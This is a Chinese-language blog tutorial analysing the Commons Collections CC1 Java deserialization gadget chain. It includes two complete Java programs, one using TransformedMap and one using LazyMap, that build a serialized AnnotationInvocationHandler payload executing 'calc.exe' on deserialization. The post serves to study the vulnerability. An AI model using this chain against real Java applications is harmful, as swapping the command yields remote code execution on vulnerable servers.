Java反序列化漏洞(三)- CommonsCollections1链
Apache Commons Collections 是一个广泛使用的 Java 库,提供了丰富的集合框架扩展和实用工具。然而,它也因其在 Java 反序列化攻击中的广泛应用而受到关注。特别是,Commons Collections 库中的某些类可以被恶意利用,导致任意代码执行。近期拟将学习su18师傅文章,对cc链进行复盘。
0x01 前置知识
在分析漏洞前,先了解相关类和方法:
AbstractMapDecorator
首先 CC 库中提供了一个抽象类 org.apache.commons.collections.map.AbstractMapDecorator
,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能,被装饰的 map 存在该类的属性中,并且将所有的操作都转发给这个 map。
这个类有很多实现类,各个类触发的方式不同,重点关注的是 TransformedMap 以及 LazyMap。
TransformedMap
org.apache.commons.collections.map.TransformedMap
类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。测试用例如下:
也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put
方法时),就会触发相应参数的 Transformer 的 transform()
方法。
LazyMap
org.apache.commons.collections.map.LazyMap
与 TransformedMap 类似,不过差异是调用 get()
方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform()
方法。
与 LazyMap 具有相同功能的,是 org.apache.commons.collections.map.DefaultedMap
,同样是 get()
方法会触发 transform 方法。
Transformer
org.apache.commons.collections.Transformer
是一个接口,提供了一个 transform()
方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。
在 Commons Collection 3.2.1 中,程序提供了 14 个 Transformer 的实现类,用来实现不同的对 TransformedMap 中 key/value 进行修改的功能。
重点关注以下几个类
InvokerTransformer
这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象,我们来看一下它的 transform 方法,方法注释写的很清楚,通过调用 input 的方法,并将方法返回结果作为处理结果进行返回。
调用需要的参数 iMethodName/iParamTypes 是在 InvokerTransformer 的构造函数中传入。这样我们就可以使用 InvokerTransformer 来执行方法,测试代码:
// InvokerTransformer 弹计算器测试
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
transformer.transform(Runtime.getRuntime());
ChainedTransformer
org.apache.commons.collections.functors.ChainedTransformer
类也是一个 Transformer的实现类,但是这个类自己维护了一个 Transformer 数组, 在调用 ChainedTransformer 的 transform 方法时,会循环数组,依次调用 Transformer 数组中每个 Transformer 的 transform 方法,并将结果传递给下一个 Transformer。
这样就给了使用者链式调用多个 Transformer 分别处理对象的能力。
ConstantTransformer
org.apache.commons.collections.functors.ConstantTransformer
是一个返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。
这个类用于和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法。
0x02 攻击构造
有了上述基础知识的铺垫,就可以开始构造反序列化的恶意利用代码了。
例如我们还是要执行 Runtime.getRuntime().exec("calc.exe")
,按照需求对其进行拆分,这里使用 TransformedMap 触发,实例代码如下:
Map hashMap = new HashMap();
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
Map map2 = TransformedMap.decorate(hashMap, chain, null);
map2.put(10, "1");
使用 ConstantTransformer 返回 Runtime 的 Class 对象,传入 InvokerTransformer 中,并借助 ChainedTransformer 的链式调用方式完成反射的调用,支持恶意代码。在上述案例中,使用 TransformedMap 的 decorate 方法将 ChainedTransformer 设置为 map 的装饰器处理方法后,当调用 TransformedMap 的 put/setValue 等方法时会触发 Transformer 链的调用处理。
截止到这里,我们利用 CC 库成功构造了 sink gadget 和 chain gadget,接下来我们需要找到一个 kick-off gadget:一个类重写了 readObject ,在反序列化时可以改变 map 的值。
于是我们找到了 sun.reflect.annotation.AnnotationInvocationHandler
这个类。这个类实现了 InvocationHandler 接口,原本是用于 JDK 对于注解形式的动态代理。
看一下这个类的代码,首先是构造方法:
构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 type 有且只有一个父接口,并且是 Annotation.class
,才会将两个参数初始化在成员属性 type 和 memberValues 中。
这里的 memberValues 就是用来触发的 Map。接下来我们看一下这个类重写的 readObject 方法:
首先调用 AnnotationType.getInstance(this.type)
方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。
然后循环 memberValues
这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 memberValues
的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue
方法写入值。
用语言描述这些代码可能有些拗口,注解本质是一个继承了 Annotation 的特殊接口,其具体实现类是 Java 运行时生成的动态代理类。通过代理对象调用自定义注解(接口)的方法,会最终调用 AnnotationInvocationHandler 的 invoke 方法。该方法会从 memberValues 这个 Map 中索引出对应的值。
而重写 readObject 方法,则给了程序传递注解值的能力了。
所以我们构造恶意 payload 的思路就清楚了:
- 构造一个 AnnotationInvocationHandler 实例,初始化时传入一个注解类和一个 Map,这个 Map 的 key 中要有注解类中存在的属性,但是值不是对应的实例,也不是 ExceptionProxy 对象。
- 这个 Map 由 TransformedMap 封装,并调用自定义的 ChainedTransformer 进行装饰。
- ChainedTransformer 中写入多个 Transformer 实现类,用于链式调用,完成恶意操作。
所以最终的恶意代码为:
public class CC1WithTransformedMap {
public static String fileName = "CC1withTransformedMap.bin"; // 定义要保存的文件名
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException,
InstantiationException, IllegalAccessException, IOException {
Map hashMap = new HashMap();
// 注意:这里的键应该是 AnnotationInvocationHandler 实例化时传入的注解类中的属性值
// 并且这里的值不是属性值的类型
hashMap.put("comments", 2);
// 创建一个 ChainedTransformer,这个变换器链用于执行一系列操作
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
// 第一个变换器:返回 Runtime 类的 Class对象
new ConstantTransformer(Runtime.class),
// 第二个变换器:调用 Runtime.getMethod("getRuntime", null)
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 第三个变换器:调用该方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
// 使用 TransformedMap 将 hashMap 和变换器链结合起来
Map transformedMap = TransformedMap.decorate(hashMap, null, chain);
// 获取 AnnotationInvocationHandler 的 Class 对象
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取 AnnotationInvocationHandler 的构造函数
Constructor<?> constructor = c.getDeclaredConstructors()[0];
// 设置构造函数为可访问
constructor.setAccessible(true);
// 使用反射创建 AnnotationInvocationHandler 的实例,传入 Generated.class 和 transformedMap
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);
writeObjectToFile((Serializable) handler, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
}
这里有个细节就是网上大多数 payload 使用 Target.class
的 value 属性来触发,其实用什么都行,找任意一个有属性的注解都可以,在上面的示例代码中,我使用了 Generated.class
的 comments 属性。
除了用 TransformedMap,还可以用 LazyMap 来触发,之前提到过,LazyMap 通过 get()
方法获取不到 key 的时候触发 Transformer。
我们发现 AnnotationInvocationHandler 的 invoke()
方法可以触发 memberValues 的 get 方法。
这里用到了动态代理,总结起来的一句话就是被动态代理的对象调用任意方法都会调用对应的InvocationHandler 的 invoke
方法。
那构造的思路的就有了,在使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler 之前,先使用 InvocationHandler 代理一下 LazyMap,这样反序列化 AnnotationInvocationHandler 时,调用 LazyMap 值的 setValue 方法之前会调用代理类的 invoke 方法,触发 LazyMap 的 get 方法。
不得不说这种思路稍微有些变态,因为使用了 AnnotationInvocationHandler 作为反序列化触发点,又同时使用其动态代理特性,所以有点绕。那么最终的恶意代码为:
public class CC1WithLazyMap {
public static String fileName = "CC1withLazyMap.bin";
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);
writeObjectToFile((Serializable) invocationHandler, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
// 从指定文件反序列化对象
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
}
0x03 总结
以上就是 CC1 链分析的全部内容了,最后总结一下。
1.利用说明
- 利用 AnnotationInvocationHandler 在反序列化时会触发 Map 的 get/set 等操作,配合 TransformedMap/LazyMap 在执行 Map 对象的操作时会根据不同情况调用 Transformer 的转换方法,最后结合了 ChainedTransformer 的链式调用、InvokerTransformer 的反射执行完成了恶意调用链的构成。其中 LazyMap 的触发还用到了动态代理机制。
2.Gadget 总结:
- kick-off gadget:
sun.reflect.annotation.AnnotationInvocationHandler#readObject()
- sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform()
- chain gadget:
org.apache.commons.collections.functors.ChainedTransformer#transform()
- kick-off gadget:
3.调用链展示:
AnnotationInvocationHandler.readObject() *Map(Proxy).entrySet() *AnnotationInvocationHandler.invoke() LazyMap.get()/TransformedMap.setValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
4.依赖版本
commons-collections : 3.1
TransformedMap - jdk < 8u71
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!